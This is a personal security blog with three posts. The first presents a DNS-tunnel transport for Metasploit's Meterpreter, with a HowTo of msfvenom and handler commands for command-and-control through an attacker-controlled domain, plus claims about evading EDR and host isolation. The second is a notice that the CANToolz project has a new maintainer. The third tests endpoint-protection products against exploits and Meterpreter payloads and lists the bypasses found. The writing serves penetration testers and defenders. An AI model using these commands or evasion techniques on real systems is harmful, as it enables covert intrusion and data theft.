пятница, 1 декабря 2017 г.

Data exfiltration with Metasploit: meterpreter DNS tunnel


    Meterpreter is a well-known Metasploit[1] remote agent for pentester's needs. This multi-staged payload is a good, flexible and easy-to-use platform that allows pentesters to have remote control over pwnedpenetrated host[2]. Currently it supports following "network" transports:


  • Binding TCP port
  • Reverse connection over TCP/IP
  • Reverse connection over HTTP 




Last year we, at defcon-russia,  have started  a fun opensource community project regarding implementing another network transport for meterpreter: reverse DNS (tunnel). Last week we also have presented it at ZeroNights. In that blog-post I want to share results of this work, future plans and main benefits and features.


Transport design and components

   Our current "pre-release" is only supports windows platforms (both, x64/x86) and consists of following main components:



The  DNS MSF Bridge is a Python script which is used as DNS server. This is key component that is working in Internet as Name Server, parsing DNS requests and sending encapsulated data back. Normal DNS tunnel. At the same time this script binds a TCP port for MSF clients (pentesters). So pentester could use MSF and control pwned target through this DNS bridge. In other words this script is acting as a transport proxy. Currently we have not implemented "native" DNS service in Ruby, but there we reasons for that. Main reason is practical: when you do a pentest, you just put this DNS script on, let's say, EC2 instance, put NS records for main domain to that IP and then you could work with it from any place using MSF. More than this - with DNS Bridge we have implemented  multi-console and payload support. This means that two or more pentesters could work at the same time with different targets and tasks using same DNS Bridge server and domain name. Currently one DNS Bridge (domain) supports up to 26 parallel sessions (pwned hosts) 






Currently we support two types of DNS tunnels: DNSKEY RR and AAAA RR. This means that we have supported all these tunnels both in shellcodes and in metsrv agent.



And now we have whole transport over DNS, shellcode stager downloads main payload (meterpreer) over DNS and runs it from the memory. And meterpreter is also using same DNS transport. Now you do not need TCP/IP DNS tunnels with additional software, like Powershell script or Dnscat2. It is more stealth because with Dnscat/Iodine or any other TCP/IP over DNS you need to run additional process and bind local port for tunneling, which could be detected by local AV/EPP, but now, it is done in right, native, way in MSF payload itself, and it means that no sockets and tunnel processes/binaries/scripts needed anymore. Also we have now less overhead for tunneling traffic. We do not encapsulating TCP/IP headers, only payload(stage) body and TLV packets for metsrv. So it is faster.

Regarding tunnel's types:

AAAA
- is slower, but it could be used from Windows XP. And yes, you can use this tunnel even if no IPv6 is used/installed on the victim box! To make this possible, we are using only reserved IPv6 address in responses, which will be passed anyway.

DNSKEY - this can be used only on Windows 7, but it is much faster.

Upload tunnel is based on subdomain values. So we have TLV encoded with base32.

Encryption - we do not use any additional encryption right now. It means that payloads will be passed "plain-text" in DNS responses. In case of AAAA tunnel it will be fragmented by IP addresses, in case of DNSKEY it will be 16 KB slice per response (TCP will be used).

Meterpreter communication is using standard encryption with session  keys (AES+XOR).

While testing speed I got following results on different networks:

Upload
     base32          - from 1 KB/sec to 4 KB/sec
Downlink
    AAAA          - from 4 KB/sec to 16 KB/sec
    DNSKEY     - from 86 KB/sec to 660 KB/sec

Speed is really depends on many things in the env and network, but in enterprise networks it will be "fast". So DNSKEY shellcodes download Meterpreter stage for 2 seconds, I  think it is good enough for practical usage. But of course it depends from many things. Meterpreter also needs at least StdLib loaded first, and it will take some time (also few seconds) as well. Migration process also depends on download speed.

Benefits


Let's now review all features and why this transport could be used. Main profit - is accessing  hosts in "isolated" vlans/networks. I still remember doing a pentest for one company when I was performing a social engineering project, where part of it was sending e-mails with PDF exploit to employees with  'no internet' policy. How to control such hosts in case if attack was successful? Reverse DNS tunnel  is an answer! Also that was a way how we escaped from network sandboxes and etc (for example some EDR/EPP have a feature to isolate compromised host from intruder access, but with DNS tunnel, we still can save our control). All this happened because pwned box do not so any connections outside of  LAN/DMZ, only to local corporate DNS server.

Another cool feature - "socket less" control which is applicable for Windows platforms. Main thing here that our agent(meterpreter, pwned process) do not need to spawn a connection, bind port or anything like this for doing DNS resolve. This is happened because MS DNS Cache will do all work for you. In other words, let's say we are injected into notepad.exe. Notepad.exe will try to setup a DNS tunnel with us through local corporate  DNS server, but UDP/TCP connection with that corporate DNS will be done not by notepad.exe but by svchost.exe. So we got +5 to stealth.



And again, for most EDR solutions it will be not visible.

HowTo


0) git clone and install https://github.com/defcon-russia/metasploit-framework
1) Buy a domain. Shorter better. Like: msf.ws
2) get a hosting like EC2 (let's say IP will be 1.2.3.4)
3) put NS records to msf.ws to the IP of that server
4) Deploy DNS MSF Bridge to that server, run it

./dns_server.py --ipaddr 1.2.3.4 --domain msf.ws

5) Prepare a payload

./msfvenom -p windows/meterpreter/reverse_dns DOMIAN=msf.ws RHOST=1.2.3.4

6) prepare an exploit with generated payload

7) run the MSF handler

use exploit/multi/handler
set payload windows/meterpreter/reverse_dns
set DOMAIN msf.ws
set RHOST 1.2.3.4
run
8) deliver  an exploit to targets and wait... sessions will be spawned

Feature plans

Currently we are trying to get this transport into main MSF fork. This means that merge work need to be done - and it is in progress now. This activity including creating native DNS handler support (so it should work if we could use MSF as a DNS server, without Bridge) is now our main target. If you want help us, please let us know!

After (and IF) merge will be done and this work will be not just fork, but part of Metasploit, then we could start implementing more features:

  •  Payload XOR encryption for stager 
  •  Powershell/VBS stagers
  •  Adding more OS platforms supported
  •  more types of tunnels: TXT, NULL and etc

If you want to help and participate - let us know!

If you have any questions or ideas - feel free to contact us at IRC(freenode.org #Metasploit,  ask  RageLtMan), Telegram (https://t.me/DCG7812 -- warning, Russian lang is main, but we could speak English a little bit! Ask me or max3raza). Or just drop an e-mail...

Sources:

Usage Demo:





[1] https://github.com/rapid7/metasploit-framework/wiki/Meterpreter
[2] https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/

пятница, 18 августа 2017 г.

Next page in CANToolz life

Hello to all CANToolz users (And I know both of them, yeah..)!


There are few things happened. First of all, unfortunately for me it is very difficult to work on new features and maintain the project... one of the main reasons - I do not have hardware (even car), so it is not the best environment for development. Working with remote testers is very difficult and not so productive. I have a lot of ideas and plans, but it is not possible to implement them without proper support (from the community or good R&D team, for example) or without comprehensive testing environment (hardware, vehicles and etc) and of course without enough free time...

Just one more example is  CAN-Pickhttps://cansecwest.com/slides/2017/CSW2017_MinruiYan-JianhaoLiu_A_visualization_tool_for_evaluating_CAN-bus_cybersecurity.pdf 

This tool was also presented on BlackHat US 17: https://www.blackhat.com/us-17/arsenal/schedule/index.html#can-pick---a-visualization-tool-for-evaluating-can-bus-cybersecurity---arsenal-theater-demo-7026

As far as I can see here CANToolz was used as the "engine" and/or the source of ideas(e.g. modules) for CAN-Picks. Yes, they have missed few modules that was introduce after, but maybe they do not need them 8)

But anyway I want other people to use CANToolz, especially when they can do with it more then me! And these guys with their resources and talents can do a lot, for example they have added graph visualization and dynamic config and module loading which I planned to do, but had no time... so they did a great work! But may be I am just a little bit disappointed that they did not want to contribute to CANToolz with their ideas and code, ha-ha-ha, but this typical example of high expectations 8))

Anyway, this is the time for some changes, and the best idea here: to change the maintainer... so please welcome the new maintainer: Tao Sauvage

Tao helped CANToolz a lot with contribution, bug reports, ideas and moral support. He is an active CANToolz user who is helping the project development, and I believe he can provide much more as a leader there! Thank you Tao!

 I will stay as a supporter and if I have  more time and resources for unrealized ideas - then I will also contribute. Any way I am still here :-)

Or yeah... on of the main reasons for this post, new GitHub url:
NEW GitHub:  https://github.com/CANToolz/CANToolz

вторник, 7 февраля 2017 г.

How I have tested EndPointProtection solution...

             Just finished evaluation for some EPP products. And I found difficult this challenge: how to chose solution that will fit your organisation. Of course first you need to understand if it is reasonable to spend money for EPP, probably you can get same or better results without EPP (like better app-control,  DeviceGuard and etc). But if you sure, that you need it, and it is the only one way for you, then what you gonna do? Right answer - run PoC/pilot with chosen vendors, and check what YOU as a customer need. Sales demos and presentations, NSS lab reports and Gartner qaudrants - will not help much. I want to share just how I did it. (it is not a best or full way, I am working not in SECURITY company, so it just a way how I can differ one solution from another as a customer, from techincal point of view).  This text is only about exploits/attacks protection quality, and I do not want to cover too much other things in this blog-post, but  they are also important, for example: classification of collected data (by vendor/solution, if we have deal with cloud based solutions), report quality, SIEM integration, customization, perfomance, attack surface (yes, even EPP making your attack surface bigger, like any AV...) and etc... 
C

          

       1.      My test methodology (exploit/attack/malware protection quality)



Pic 1. Kill Chain stages that are chosen by us for testing.

 1.1        Coverage and quality

1.1.1       Delivery

I have prepared few different exploits for testing:
a)     HTML file with Buffer Overflow exploit in browser plugin (0day)
b)    HTML file with Use-After-Free exploit in browser plugin (0day)
c)     DOC file with malicious macros (0day)
d)    EXE file with known 1day exploit for local privilege escalation (ring0 exploit)
e)     EXE files with known malware
a.      Default: known hash
b.     Encoded: unknown hash
f)      DLL files with known malware

TEST CASE
EXPECTED BEHAVIOR
DELIVERY: HTML with exploits
Detected and blocked
DELIVERY: WORD with macros
Detected and blocked
DELIVERY/INSTALL: Encoded Meterpereter x64 as an EXE drop
Detected and blocked
DELIVERY/INSTALL: Encoded Meterpereter x64 as a DLL drop
Detected and blocked
DELIVERY/INSTALL: Hash based malware
Detected and cleaned
DELIVERY/INSTALL: Not Hash based malware
Detected and blocked

1.1.2       Exploitation

For simulating 0day attacks/exploits I have created own vulnerable Internet Explorer plugin and wrote exploits for it. Same for DOC file tests on delivery stage, I have created special, obfuscated macros. Because exploitation step is the most critical step, I did analysis how each security solution under test detects and prevents exploitation of vulnerabilities, and accordingly evaluated the product per the defined expected behavior.

TEST CASE
EXPECTED BEHAVIOR
EXPLOITTAION: ROP Shellcode
Blocked on any stage of ROP shellcode
EXPLOITTAION: Shellcode
Blocked on any stage of normal shellcode
EXPLOITTAION: 1day ring0 exploit
Blocked on any stage
EXPLOITTAION:  HeapSpray
Detected or blocked
EXPLOITTAION: Exploit triggers - UAF, Bof
Detected or blocked
EXPLOIT: 0day Macros run
Blocked
EXPLOIT: Meterpreter  x86 (in mem)
Detected or Blocked
EXPLOIT: IOC bypass - migration to EXPLORER (CreateRemoteThread)
Detected or Blocked


1.1.3       Installation

Have used self-made (unknown signatures) VBS backdoor that dropped by exploit/shellcode. Additionally have used: Metasploit Meterpreter (in different configurations)  as a backdoor. Test cases simulated next kill chain steps: exploitation, downloading backdoor and execution.
Test case names:

TEST CASE
EXPECTED BEHAVIOR
EXPLOITATION/INTSALL: DbD with VBS - BoF
Blocked on any stage of attack (earlier better)
EXPLOITATION/INTSALL: DbD with VBS - UAF
Blocked on any stage of attack (earlier better)
EXPLOITATION/INTSALL: DbD with met64 - BoF
Blocked on any stage of attack (earlier better)
EXPLOITATION/INTSALL: DbD with met64 - UAF
Blocked on any stage of attack (earlier better)
INSTALL: VBS backdoor run
Blocked on any stage of attack (earlier better)
DELIVERY/INSTALL: Encoded Meterpereter x64 as an EXE drop
Detected and cleaned on delivery stage or blocked on execution
DELIVERY/INSTALL: Encoded Meterpereter x64 as a DLL drop
Detected and cleaned on delivery stage or blocked on execution
DELIVERY/INSTALL: Hash based malware
Detected and cleaned on delivery stage or blocked on execution
DELIVERY/INSTALL: Not Hash based malware
Detected and cleaned on delivery stage or blocked on execution


1.1.4       Command & Control

Custom VBS backdoor used stealth Reverse DNS tunnel (via nslookup) technique as a main communication method. Same method was used by DbD exploits for downloading backdoor (viaa svchost). Normal TCP connection was used as a communication method for Meterpreter. 

TEST CASE
EXPECTED BEHAVIOR
C&C: Meterpreter TCP
Detected or blocked
C&C: Reverse DNS via svchost
Detected

2.    Test files

Sorry, can't share samples, but could share just some sources from where I took some of them:

https://github.com/Cr4sh/fwexpl (ring3 -> ring0 -> SMM )
https://github.com/eik00d/Reverse_DNS_Shellcode (Reverse DNS shellcode, VBS PoC and C&C)
https://www.reverse.it (sometimes you could find good samples here)

3.    Results for 5 different products

TEST CASE\Solution
5 products
DELIVERY: HTML with exploits
0/5
DELIVERY: WORD with macros
0/5
EXPLOITTAION: ROP Shellcode
2/5 (StackPivot detection by hooks on VirtalAlloc/VirtualProtect), 1 of them bypassed, because hooks was on ring3, like it was https://asintsov.blogspot.de/2016/12/bypassing-exploit-protection-of-norton.html
EXPLOITTAION: Shellcode
5/5 (detection by hooks on various calls), 2 of them bypassed, because hooks was on ring3, like it was done there https://asintsov.blogspot.de/2016/12/bypassing-exploit-protection-of-norton.html
EXPLOITTAION: 1day ring0 exploit
0/5
EXPLOITTAION:  HeapSpray
1/5, by pre-allocation by well-known address: could be bypassed
EXPLOITTAION: Exploit triggers - UAF, Bof
0/5
EXPLOITATION/INTSALL: DbD with VBS - BoF
4/5  (EXPLOITTAION: ROP Shellcode + EXPLOITTAION: Shellcode + INSTALL: VBS backdoor run)
EXPLOITATION/INTSALL: DbD with VBS - UAF
5/5  (EXPLOITTAION: ROP Shellcode + EXPLOITTAION: Shellcode + INSTALL: VBS backdoor run)
EXPLOITATION/INTSALL: DbD with met64 - BoF
3/5  (EXPLOITTAION: ROP Shellcode + EXPLOITTAION: Shellcode + DELIVERY/INSTALL: Encoded Meterpereter x64 as a drop EXE)
EXPLOITATION/INTSALL: DbD with met64 - UAF
3/5  (EXPLOITTAION: ROP Shellcode + EXPLOITTAION: Shellcode + DELIVERY/INSTALL: Encoded Meterpereter x64 as a drop EXE)
EXPLOIT: 0day Macros run
2/5
EXPLOIT: Meterpreter  x86 (in mem)
1/5
INSTALL: VBS backdoor run
1/5
DELIVERY/INSTALL: Encoded Meterpereter x64 as a drop EXE
2/5 (AWESOME RESULTS)
DELIVERY/INSTALL: Encoded Meterpereter x64 as a drop DLL
3/5
DELIVERY/INSTALL: Hash based malware
4/5
DELIVERY/INSTALL: Not Hash based malware
2/5 (it is mean, if same malware will be changed and it will produce a new hash, than 2 products will miss it)
EXPLOIT: IOC bypass - migration to EXPLORER (CreateRemoteThread)
2/5 Blocked, and again hooks, 1 product has ring3 hooks and could be bypassed
C&C: Meterpreter TCP
3/5 will detect connection
C&C: Reverse DNS via svchost
0/5

Outcome

Of course my tests  does not reflect anything except the fact that those solution could pass or not  just those tests, exploits and backdoors chosen/created by me. On different set of exploits and samples or different attacks - we could get different results! But some general things are there:

  • No one EPP solution could protect you from 100% attacks and threats! It is mean, if targeted attack (like APT) happen, and you are main target - EPP will not help you! 
  • Some solutions do better in exploit prevention, but suck on malware detection, other more concentrated on "malware" detection, but can't stop exploits well
  • Most exploit-protection/malware detection techniques used by EPP could be bypassed!
  • Two different solution could stop same attack(exploit), and looks like result the same, but in fact they have stopped it on different stage, and that was what important for me: earlier - better 
  • Vendors do not like public tests, that's why customers like me need to run those PoC/tests to choose right product by them-self. Do not trust "public" ratings, check solution that will fit your organisation and response your threats. Gartner magic quadrant or NSS reports does nor help much!
  • Most EPP are cloud based... that creates additional problems for customers, especially if they collect to much data (like all system events on each endpoint or even files content)
  • If you could use Win10 DeviceGuard  and control all binaries/scripts - it probably gives you better end-point security ;) 

UPD

Most typical NextGen "fails":
  • "Corrupted" PE -> bypass checks/binary parsers
  • EXE detected, but same product can't detect same malware in DLL...
  • DLL detected, but same product can't detect same malware in EXE...
  • Ring3 hooks (already mentioned, https://asintsov.blogspot.de/2016/12/bypassing-exploit-protection-of-norton.html )
  • No signature checks... ok, but only VirusTotal hashes?
  • IE->exec(CMD) - detected! IE->migrate(EXPLORER)->exec(CMD) - not
I checked, @matalz is right... delays also works! lol...

P.S. All vendors will fix at least things I reported, and they were very promising on new features. They not bad 8)